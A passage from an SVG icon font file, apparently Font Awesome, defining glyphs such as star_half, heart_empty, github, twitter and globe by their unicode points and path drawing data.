t-35.5 -12.5t-35 -11.5t-38 -11t-33 -6.5t-31.5 -3h-32v-640h32q16 0 35.5 -9t40 -27t38.5 -35.5t40 -44t34.5 -42.5t31.5 -41t23 -30q55 -68 77 -91q41 -43 59.5 -109.5t30.5 -125.5t38 -85q96 0 128 47t32 145q0 59 -48 160.5t-48 159.5h352q50 0 89 38.5t39 89.5z
M1536 511q0 -103 -76 -179t-180 -76h-176q48 -99 48 -192q0 -118 -35 -186q-35 -69 -102 -101.5t-151 -32.5q-51 0 -90 37q-34 33 -54 82t-25.5 90.5t-17.5 84.5t-31 64q-48 50 -107 127q-101 131 -137 155h-274q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5
h288q22 0 138 40q128 44 223 66t200 22h112q140 0 226.5 -79t85.5 -216v-5q60 -77 60 -178q0 -22 -3 -43q38 -67 38 -144q0 -36 -9 -69q49 -73 49 -163z" />
    <glyph glyph-name="star_half" unicode="&#xf089;" horiz-adv-x="896" 
d="M832 1504v-1339l-449 -236q-22 -12 -40 -12q-21 0 -31.5 14.5t-10.5 35.5q0 6 2 20l86 500l-364 354q-25 27 -25 48q0 37 56 46l502 73l225 455q19 41 49 41z" />
    <glyph glyph-name="heart_empty" unicode="&#xf08a;" horiz-adv-x="1792" 
d="M1664 940q0 81 -21.5 143t-55 98.5t-81.5 59.5t-94 31t-98 8t-112 -25.5t-110.5 -64t-86.5 -72t-60 -61.5q-18 -22 -49 -22t-49 22q-24 28 -60 61.5t-86.5 72t-110.5 64t-112 25.5t-98 -8t-94 -31t-81.5 -59.5t-55 -98.5t-21.5 -143q0 -168 187 -355l581 -560l580 559
q188 188 188 356zM1792 940q0 -221 -229 -450l-623 -600q-18 -18 -44 -18t-44 18l-624 602q-10 8 -27.5 26t-55.5 65.5t-68 97.5t-53.5 121t-23.5 138q0 220 127 344t351 124q62 0 126.5 -21.5t120 -58t95.5 -68.5t76 -68q36 36 76 68t95.5 68.5t120 58t126.5 21.5
q224 0 351 -124t127 -344z" />
    <glyph glyph-name="signout" unicode="&#xf08b;" horiz-adv-x="1664" 
d="M640 96q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h320q13 0 22.5 -9.5t9.5 -22.5q0 -4 1 -20t0.5 -26.5t-3 -23.5t-10 -19.5t-20.5 -6.5h-320q-66 0 -113 -47t-47 -113v-704
q0 -66 47 -113t113 -47h288h11h13t11.5 -1t11.5 -3t8 -5.5t7 -9t2 -13.5zM1568 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45z" />
    <glyph glyph-name="linkedin_sign" unicode="&#xf08c;" 
d="M237 122h231v694h-231v-694zM483 1030q-1 52 -36 86t-93 34t-94.5 -34t-36.5 -86q0 -51 35.5 -85.5t92.5 -34.5h1q59 0 95 34.5t36 85.5zM1068 122h231v398q0 154 -73 233t-193 79q-136 0 -209 -117h2v101h-231q3 -66 0 -694h231v388q0 38 7 56q15 35 45 59.5t74 24.5
q116 0 116 -157v-371zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="pushpin" unicode="&#xf08d;" horiz-adv-x="1152" 
d="M480 672v448q0 14 -9 23t-23 9t-23 -9t-9 -23v-448q0 -14 9 -23t23 -9t23 9t9 23zM1152 320q0 -26 -19 -45t-45 -19h-429l-51 -483q-2 -12 -10.5 -20.5t-20.5 -8.5h-1q-27 0 -32 27l-76 485h-404q-26 0 -45 19t-19 45q0 123 78.5 221.5t177.5 98.5v512q-52 0 -90 38
t-38 90t38 90t90 38h640q52 0 90 -38t38 -90t-38 -90t-90 -38v-512q99 0 177.5 -98.5t78.5 -221.5z" />
    <glyph glyph-name="external_link" unicode="&#xf08e;" horiz-adv-x="1792" 
d="M1408 608v-320q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v320
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1792 1472v-512q0 -26 -19 -45t-45 -19t-45 19l-176 176l-652 -652q-10 -10 -23 -10t-23 10l-114 114q-10 10 -10 23t10 23l652 652l-176 176q-19 19 -19 45t19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="signin" unicode="&#xf090;" 
d="M1184 640q0 -26 -19 -45l-544 -544q-19 -19 -45 -19t-45 19t-19 45v288h-448q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h448v288q0 26 19 45t45 19t45 -19l544 -544q19 -19 19 -45zM1536 992v-704q0 -119 -84.5 -203.5t-203.5 -84.5h-320q-13 0 -22.5 9.5t-9.5 22.5
q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q66 0 113 47t47 113v704q0 66 -47 113t-113 47h-288h-11h-13t-11.5 1t-11.5 3t-8 5.5t-7 9t-2 13.5q0 4 -1 20t-0.5 26.5t3 23.5t10 19.5t20.5 6.5h320q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="1664" 
d="M458 653q-74 162 -74 371h-256v-96q0 -78 94.5 -162t235.5 -113zM1536 928v96h-256q0 -209 -74 -371q141 29 235.5 113t94.5 162zM1664 1056v-128q0 -71 -41.5 -143t-112 -130t-173 -97.5t-215.5 -44.5q-42 -54 -95 -95q-38 -34 -52.5 -72.5t-14.5 -89.5q0 -54 30.5 -91
t97.5 -37q75 0 133.5 -45.5t58.5 -114.5v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 69 58.5 114.5t133.5 45.5q67 0 97.5 37t30.5 91q0 51 -14.5 89.5t-52.5 72.5q-53 41 -95 95q-113 5 -215.5 44.5t-173 97.5t-112 130t-41.5 143v128q0 40 28 68t68 28h288v96
q0 66 47 113t113 47h576q66 0 113 -47t47 -113v-96h288q40 0 68 -28t28 -68z" />
    <glyph glyph-name="github_sign" unicode="&#xf092;" 
d="M519 336q4 6 -3 13q-9 7 -14 2q-4 -6 3 -13q9 -7 14 -2zM491 377q-5 7 -12 4q-6 -4 0 -12q7 -8 12 -5q6 4 0 13zM450 417q2 4 -5 8q-7 2 -8 -2q-3 -5 4 -8q8 -2 9 2zM471 394q2 1 1.5 4.5t-3.5 5.5q-6 7 -10 3t1 -11q6 -6 11 -2zM557 319q2 7 -9 11q-9 3 -13 -4
q-2 -7 9 -11q9 -3 13 4zM599 316q0 8 -12 8q-10 0 -10 -8t11 -8t11 8zM638 323q-2 7 -13 5t-9 -9q2 -8 12 -6t10 10zM1280 640q0 212 -150 362t-362 150t-362 -150t-150 -362q0 -167 98 -300.5t252 -185.5q18 -3 26.5 5t8.5 20q0 52 -1 95q-6 -1 -15.5 -2.5t-35.5 -2t-48 4
t-43.5 20t-29.5 41.5q-23 59 -57 74q-2 1 -4.5 3.5l-8 8t-7 9.5t4 7.5t19.5 3.5q6 0 15 -2t30 -15.5t33 -35.5q16 -28 37.5 -42t43.5 -14t38 3.5t30 9.5q7 47 33 69q-49 6 -86 18.5t-73 39t-55.5 76t-19.5 119.5q0 79 53 137q-24 62 5 136q19 6 54.5 -7.5t60.5 -29.5l26 -16
q58 17 128 17t128 -17q11 7 28.5 18t55.5 26t57 9q29 -74 5 -136q53 -58 53 -137q0 -57 -14 -100.5t-35.5 -70t-53.5 -44.5t-62.5 -26t-68.5 -12q35 -31 35 -95q0 -40 -0.5 -89t-0.5 -51q0 -12 8.5 -20t26.5 -5q154 52 252 185.5t98 300.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="upload_alt" unicode="&#xf093;" horiz-adv-x="1664" 
d="M1280 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 288v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h427q21 -56 70.5 -92
t110.5 -36h256q61 0 110.5 36t70.5 92h427q40 0 68 -28t28 -68zM1339 936q-17 -40 -59 -40h-256v-448q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v448h-256q-42 0 -59 40q-17 39 14 69l448 448q18 19 45 19t45 -19l448 -448q31 -30 14 -69z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M1407 710q0 44 -7 113.5t-18 96.5q-12 30 -17 44t-9 36.5t-4 48.5q0 23 5 68.5t5 67.5q0 37 -10 55q-4 1 -13 1q-19 0 -58 -4.5t-59 -4.5q-60 0 -176 24t-175 24q-43 0 -94.5 -11.5t-85 -23.5t-89.5 -34q-137 -54 -202 -103q-96 -73 -159.5 -189.5t-88 -236t-24.5 -248.5
q0 -40 12.5 -120t12.5 -121q0 -23 -11 -66.5t-11 -65.5t12 -36.5t34 -14.5q24 0 72.5 11t73.5 11q57 0 169.5 -15.5t169.5 -15.5q181 0 284 36q129 45 235.5 152.5t166 245.5t59.5 275zM1535 712q0 -165 -70 -327.5t-196 -288t-281 -180.5q-124 -44 -326 -44
q-57 0 -170 14.5t-169 14.5q-24 0 -72.5 -14.5t-73.5 -14.5q-73 0 -123.5 55.5t-50.5 128.5q0 24 11 68t11 67q0 40 -12.5 120.5t-12.5 121.5q0 111 18 217.5t54.5 209.5t100.5 194t150 156q78 59 232 120q194 78 316 78q60 0 175.5 -24t173.5 -24q19 0 57 5t58 5
q81 0 118 -50.5t37 -134.5q0 -23 -5 -68t-5 -68q0 -13 2 -25t3.5 -16.5t7.5 -20.5t8 -20q16 -40 25 -118.5t9 -136.5z" />
    <glyph glyph-name="phone" unicode="&#xf095;" horiz-adv-x="1408" 
d="M1408 296q0 -27 -10 -70.5t-21 -68.5q-21 -50 -122 -106q-94 -51 -186 -51q-27 0 -53 3.5t-57.5 12.5t-47 14.5t-55.5 20.5t-49 18q-98 35 -175 83q-127 79 -264 216t-216 264q-48 77 -83 175q-3 9 -18 49t-20.5 55.5t-14.5 47t-12.5 57.5t-3.5 53q0 92 51 186
q56 101 106 122q25 11 68.5 21t70.5 10q14 0 21 -3q18 -6 53 -76q11 -19 30 -54t35 -63.5t31 -53.5q3 -4 17.5 -25t21.5 -35.5t7 -28.5q0 -20 -28.5 -50t-62 -55t-62 -53t-28.5 -46q0 -9 5 -22.5t8.5 -20.5t14 -24t11.5 -19q76 -137 174 -235t235 -174q2 -1 19 -11.5t24 -14
t20.5 -8.5t22.5 -5q18 0 46 28.5t53 62t55 62t50 28.5q14 0 28.5 -7t35.5 -21.5t25 -17.5q25 -15 53.5 -31t63.5 -35t54 -30q70 -35 76 -53q3 -7 3 -21z" />
    <glyph glyph-name="check_empty" unicode="&#xf096;" horiz-adv-x="1408" 
d="M1120 1280h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v832q0 66 -47 113t-113 47zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="bookmark_empty" unicode="&#xf097;" horiz-adv-x="1280" 
d="M1152 1280h-1024v-1242l423 406l89 85l89 -85l423 -406v1242zM1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289
q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="phone_sign" unicode="&#xf098;" 
d="M1280 343q0 11 -2 16t-18 16.5t-40.5 25t-47.5 26.5t-45.5 25t-28.5 15q-5 3 -19 13t-25 15t-21 5q-15 0 -36.5 -20.5t-39.5 -45t-38.5 -45t-33.5 -20.5q-7 0 -16.5 3.5t-15.5 6.5t-17 9.5t-14 8.5q-99 55 -170 126.5t-127 170.5q-2 3 -8.5 14t-9.5 17t-6.5 15.5
t-3.5 16.5q0 13 20.5 33.5t45 38.5t45 39.5t20.5 36.5q0 10 -5 21t-15 25t-13 19q-3 6 -15 28.5t-25 45.5t-26.5 47.5t-25 40.5t-16.5 18t-16 2q-48 0 -101 -22q-46 -21 -80 -94.5t-34 -130.5q0 -16 2.5 -34t5 -30.5t9 -33t10 -29.5t12.5 -33t11 -30q60 -164 216.5 -320.5
t320.5 -216.5q6 -2 30 -11t33 -12.5t29.5 -10t33 -9t30.5 -5t34 -2.5q57 0 130.5 34t94.5 80q22 53 22 101zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z
" />
    <glyph glyph-name="twitter" unicode="&#xf099;" horiz-adv-x="1664" 
d="M1620 1128q-67 -98 -162 -167q1 -14 1 -42q0 -130 -38 -259.5t-115.5 -248.5t-184.5 -210.5t-258 -146t-323 -54.5q-271 0 -496 145q35 -4 78 -4q225 0 401 138q-105 2 -188 64.5t-114 159.5q33 -5 61 -5q43 0 85 11q-112 23 -185.5 111.5t-73.5 205.5v4q68 -38 146 -41
q-66 44 -105 115t-39 154q0 88 44 163q121 -149 294.5 -238.5t371.5 -99.5q-8 38 -8 74q0 134 94.5 228.5t228.5 94.5q140 0 236 -102q109 21 205 78q-37 -115 -142 -178q93 10 186 50z" />
    <glyph glyph-name="facebook" unicode="&#xf09a;" horiz-adv-x="1024" 
d="M959 1524v-264h-157q-86 0 -116 -36t-30 -108v-189h293l-39 -296h-254v-759h-306v759h-255v296h255v218q0 186 104 288.5t277 102.5q147 0 228 -12z" />
    <glyph glyph-name="github" unicode="&#xf09b;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5q0 -251 -146.5 -451.5t-378.5 -277.5q-27 -5 -40 7t-13 30q0 3 0.5 76.5t0.5 134.5q0 97 -52 142q57 6 102.5 18t94 39t81 66.5t53 105t20.5 150.5q0 119 -79 206q37 91 -8 204q-28 9 -81 -11t-92 -44l-38 -24
q-93 26 -192 26t-192 -26q-16 11 -42.5 27t-83.5 38.5t-85 13.5q-45 -113 -8 -204q-79 -87 -79 -206q0 -85 20.5 -150t52.5 -105t80.5 -67t94 -39t102.5 -18q-39 -36 -49 -103q-21 -10 -45 -15t-57 -5t-65.5 21.5t-55.5 62.5q-19 32 -48.5 52t-49.5 24l-20 3q-21 0 -29 -4.5
t-5 -11.5t9 -14t13 -12l7 -5q22 -10 43.5 -38t31.5 -51l10 -23q13 -38 44 -61.5t67 -30t69.5 -7t55.5 3.5l23 4q0 -38 0.5 -88.5t0.5 -54.5q0 -18 -13 -30t-40 -7q-232 77 -378.5 277.5t-146.5 451.5q0 209 103 385.5t279.5 279.5t385.5 103zM291 305q3 7 -7 12
q-10 3 -13 -2q-3 -7 7 -12q9 -6 13 2zM322 271q7 5 -2 16q-10 9 -16 3q-7 -5 2 -16q10 -10 16 -3zM352 226q9 7 0 19q-8 13 -17 6q-9 -5 0 -18t17 -7zM394 184q8 8 -4 19q-12 12 -20 3q-9 -8 4 -19q12 -12 20 -3zM451 159q3 11 -13 16q-15 4 -19 -7t13 -15q15 -6 19 6z
M514 154q0 13 -17 11q-16 0 -16 -11q0 -13 17 -11q16 0 16 11zM572 164q-2 11 -18 9q-16 -3 -14 -15t18 -8t14 14z" />
    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="1664" 
d="M1664 960v-256q0 -26 -19 -45t-45 -19h-64q-26 0 -45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-192h96q40 0 68 -28t28 -68v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h672v192q0 185 131.5 316.5t316.5 131.5
t316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="credit_card" unicode="&#xf09d;" horiz-adv-x="1920" 
d="M1760 1408q66 0 113 -47t47 -113v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600zM160 1280q-13 0 -22.5 -9.5t-9.5 -22.5v-224h1664v224q0 13 -9.5 22.5t-22.5 9.5h-1600zM1760 0q13 0 22.5 9.5t9.5 22.5v608h-1664v-608
q0 -13 9.5 -22.5t22.5 -9.5h1600zM256 128v128h256v-128h-256zM640 128v128h384v-128h-384z" />
    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="1408" 
d="M384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 69q2 -28 -17 -48q-18 -21 -47 -21h-135q-25 0 -43 16.5t-20 41.5q-22 229 -184.5 391.5t-391.5 184.5q-25 2 -41.5 20t-16.5 43v135q0 29 21 47q17 17 43 17h5q160 -13 306 -80.5
t259 -181.5q114 -113 181.5 -259t80.5 -306zM1408 67q2 -27 -18 -47q-18 -20 -46 -20h-143q-26 0 -44.5 17.5t-19.5 42.5q-12 215 -101 408.5t-231.5 336t-336 231.5t-408.5 102q-25 1 -42.5 19.5t-17.5 43.5v143q0 28 20 46q18 18 44 18h3q262 -13 501.5 -120t425.5 -294
q187 -186 294 -425.5t120 -501.5z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" 
d="M1040 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1296 320q0 -33 -23.5 -56.5t-56.5 -23.5t-56.5 23.5t-23.5 56.5t23.5 56.5t56.5 23.5t56.5 -23.5t23.5 -56.5zM1408 160v320q0 13 -9.5 22.5t-22.5 9.5
h-1216q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5zM178 640h1180l-157 482q-4 13 -16 21.5t-26 8.5h-782q-14 0 -26 -8.5t-16 -21.5zM1536 480v-320q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v320q0 25 16 75
l197 606q17 53 63 86t101 33h782q55 0 101 -33t63 -86l197 -606q16 -50 16 -75z" />
    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="1792" 
d="M1664 896q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5v-384q0 -52 -38 -90t-90 -38q-417 347 -812 380q-58 -19 -91 -66t-31 -100.5t40 -92.5q-20 -33 -23 -65.5t6 -58t33.5 -55t48 -50t61.5 -50.5q-29 -58 -111.5 -83t-168.5 -11.5t-132 55.5q-7 23 -29.5 87.5
t-32 94.5t-23 89t-15 101t3.5 98.5t22 110.5h-122q-66 0 -113 47t-47 113v192q0 66 47 113t113 47h480q435 0 896 384q52 0 90 -38t38 -90v-384zM1536 292v954q-394 -302 -768 -343v-270q377 -42 768 -341z" />
    <glyph glyph-name="bell" unicode="&#xf0a2;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM246 128h1300q-266 300 -266 832q0 51 -24 105t-69 103t-121.5 80.5t-169.5 31.5t-169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -532 -266 -832z
M1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5
t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
d="M1376 640l138 -135q30 -28 20 -70q-12 -41 -52 -51l-188 -48l53 -186q12 -41 -19 -70q-29 -31 -70 -19l-186 53l-48 -188q-10 -40 -51 -52q-12 -2 -19 -2q-31 0 -51 22l-135 138l-135 -138q-28 -30 -70 -20q-41 11 -51 52l-48 188l-186 -53q-41 -12 -70 19q-31 29 -19 70
l53 186l-188 48q-40 10 -52 51q-10 42 20 70l138 135l-138 135q-30 28 -20 70q12 41 52 51l188 48l-53 186q-12 41 19 70q29 31 70 19l186 -53l48 188q10 41 51 51q41 12 70 -19l135 -139l135 139q29 30 70 19q41 -10 51 -51l48 -188l186 53q41 12 70 -19q31 -29 19 -70
l-53 -186l188 -48q40 -10 52 -51q10 -42 -20 -70z" />
    <glyph glyph-name="hand_right" unicode="&#xf0a4;" horiz-adv-x="1792" 
d="M256 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 768q0 51 -39 89.5t-89 38.5h-576q0 20 15 48.5t33 55t33 68t15 84.5q0 67 -44.5 97.5t-115.5 30.5q-24 0 -90 -139q-24 -44 -37 -65q-40 -64 -112 -145q-71 -81 -101 -106
q-69 -57 -140 -57h-32v-640h32q72 0 167 -32t193.5 -64t179.5 -32q189 0 189 167q0 26 -5 56q30 16 47.5 52.5t17.5 73.5t-18 69q53 50 53 119q0 25 -10 55.5t-25 47.5h331q52 0 90 38t38 90zM1792 769q0 -105 -75.5 -181t-180.5 -76h-169q-4 -62 -37 -119q3 -21 3 -43
q0 -101 -60 -178q1 -139 -85 -219.5t-227 -80.5q-133 0 -322 69q-164 59 -223 59h-288q-53 0 -90.5 37.5t-37.5 90.5v640q0 53 37.5 90.5t90.5 37.5h288q10 0 21.5 4.5t23.5 14t22.5 18t24 22.5t20.5 21.5t19 21.5t14 17q65 74 100 129q13 21 33 62t37 72t40.5 63t55 49.5
t69.5 17.5q125 0 206.5 -67t81.5 -189q0 -68 -22 -128h374q104 0 180 -76t76 -179z" />
    <glyph glyph-name="hand_left" unicode="&#xf0a5;" horiz-adv-x="1792" 
d="M1376 128h32v640h-32q-35 0 -67.5 12t-62.5 37t-50 46t-49 54q-8 9 -12 14q-72 81 -112 145q-14 22 -38 68q-1 3 -10.5 22.5t-18.5 36t-20 35.5t-21.5 30.5t-18.5 11.5q-71 0 -115.5 -30.5t-44.5 -97.5q0 -43 15 -84.5t33 -68t33 -55t15 -48.5h-576q-50 0 -89 -38.5
t-39 -89.5q0 -52 38 -90t90 -38h331q-15 -17 -25 -47.5t-10 -55.5q0 -69 53 -119q-18 -32 -18 -69t17.5 -73.5t47.5 -52.5q-4 -24 -4 -56q0 -85 48.5 -126t135.5 -41q84 0 183 32t194 64t167 32zM1664 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45z
M1792 768v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-288q-59 0 -223 -59q-190 -69 -317 -69q-142 0 -230 77.5t-87 217.5l1 5q-61 76 -61 178q0 22 3 43q-33 57 -37 119h-169q-105 0 -180.5 76t-75.5 181q0 103 76 179t180 76h374q-22 60 -22 128q0 122 81.5 189t206.5 67
q38 0 69.5 -17.5t55 -49.5t40.5 -63t37 -72t33 -62q35 -55 100 -129q2 -3 14 -17t19 -21.5t20.5 -21.5t24 -22.5t22.5 -18t23.5 -14t21.5 -4.5h288q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="hand_up" unicode="&#xf0a6;" 
d="M1280 -64q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 700q0 189 -167 189q-26 0 -56 -5q-16 30 -52.5 47.5t-73.5 17.5t-69 -18q-50 53 -119 53q-25 0 -55.5 -10t-47.5 -25v331q0 52 -38 90t-90 38q-51 0 -89.5 -39t-38.5 -89v-576
q-20 0 -48.5 15t-55 33t-68 33t-84.5 15q-67 0 -97.5 -44.5t-30.5 -115.5q0 -24 139 -90q44 -24 65 -37q64 -40 145 -112q81 -71 106 -101q57 -69 57 -140v-32h640v32q0 72 32 167t64 193.5t32 179.5zM1536 705q0 -133 -69 -322q-59 -164 -59 -223v-288q0 -53 -37.5 -90.5
t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5v288q0 10 -4.5 21.5t-14 23.5t-18 22.5t-22.5 24t-21.5 20.5t-21.5 19t-17 14q-74 65 -129 100q-21 13 -62 33t-72 37t-63 40.5t-49.5 55t-17.5 69.5q0 125 67 206.5t189 81.5q68 0 128 -22v374q0 104 76 180t179 76
q105 0 181 -75.5t76 -180.5v-169q62 -4 119 -37q21 3 43 3q101 0 178 -60q139 1 219.5 -85t80.5 -227z" />
    <glyph glyph-name="hand_down" unicode="&#xf0a7;" 
d="M1408 576q0 84 -32 183t-64 194t-32 167v32h-640v-32q0 -35 -12 -67.5t-37 -62.5t-46 -50t-54 -49q-9 -8 -14 -12q-81 -72 -145 -112q-22 -14 -68 -38q-3 -1 -22.5 -10.5t-36 -18.5t-35.5 -20t-30.5 -21.5t-11.5 -18.5q0 -71 30.5 -115.5t97.5 -44.5q43 0 84.5 15t68 33
t55 33t48.5 15v-576q0 -50 38.5 -89t89.5 -39q52 0 90 38t38 90v331q46 -35 103 -35q69 0 119 53q32 -18 69 -18t73.5 17.5t52.5 47.5q24 -4 56 -4q85 0 126 48.5t41 135.5zM1280 1344q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 580
q0 -142 -77.5 -230t-217.5 -87l-5 1q-76 -61 -178 -61q-22 0 -43 3q-54 -30 -119 -37v-169q0 -105 -76 -180.5t-181 -75.5q-103 0 -179 76t-76 180v374q-54 -22 -128 -22q-121 0 -188.5 81.5t-67.5 206.5q0 38 17.5 69.5t49.5 55t63 40.5t72 37t62 33q55 35 129 100
q3 2 17 14t21.5 19t21.5 20.5t22.5 24t18 22.5t14 23.5t4.5 21.5v288q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-288q0 -59 59 -223q69 -190 69 -317z" />
    <glyph glyph-name="circle_arrow_left" unicode="&#xf0a8;" 
d="M1280 576v128q0 26 -19 45t-45 19h-502l189 189q19 19 19 45t-19 45l-91 91q-18 18 -45 18t-45 -18l-362 -362l-91 -91q-18 -18 -18 -45t18 -45l91 -91l362 -362q18 -18 45 -18t45 18l91 91q18 18 18 45t-18 45l-189 189h502q26 0 45 19t19 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_right" unicode="&#xf0a9;" 
d="M1285 640q0 27 -18 45l-91 91l-362 362q-18 18 -45 18t-45 -18l-91 -91q-18 -18 -18 -45t18 -45l189 -189h-502q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h502l-189 -189q-19 -19 -19 -45t19 -45l91 -91q18 -18 45 -18t45 18l362 362l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_up" unicode="&#xf0aa;" 
d="M1284 641q0 27 -18 45l-362 362l-91 91q-18 18 -45 18t-45 -18l-91 -91l-362 -362q-18 -18 -18 -45t18 -45l91 -91q18 -18 45 -18t45 18l189 189v-502q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v502l189 -189q19 -19 45 -19t45 19l91 91q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="circle_arrow_down" unicode="&#xf0ab;" 
d="M1284 639q0 27 -18 45l-91 91q-18 18 -45 18t-45 -18l-189 -189v502q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-502l-189 189q-19 19 -45 19t-45 -19l-91 -91q-18 -18 -18 -45t18 -45l362 -362l91 -91q18 -18 45 -18t45 18l91 91l362 362q18 18 18 45zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="globe" unicode="&#xf0ac;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1042 887q-2 -1 -9.5 -9.5t-13.5 -9.5q2 0 4.5 5t5 11t3.5 7q6 7 22 15q14 6 52 12q34 8 51 -11
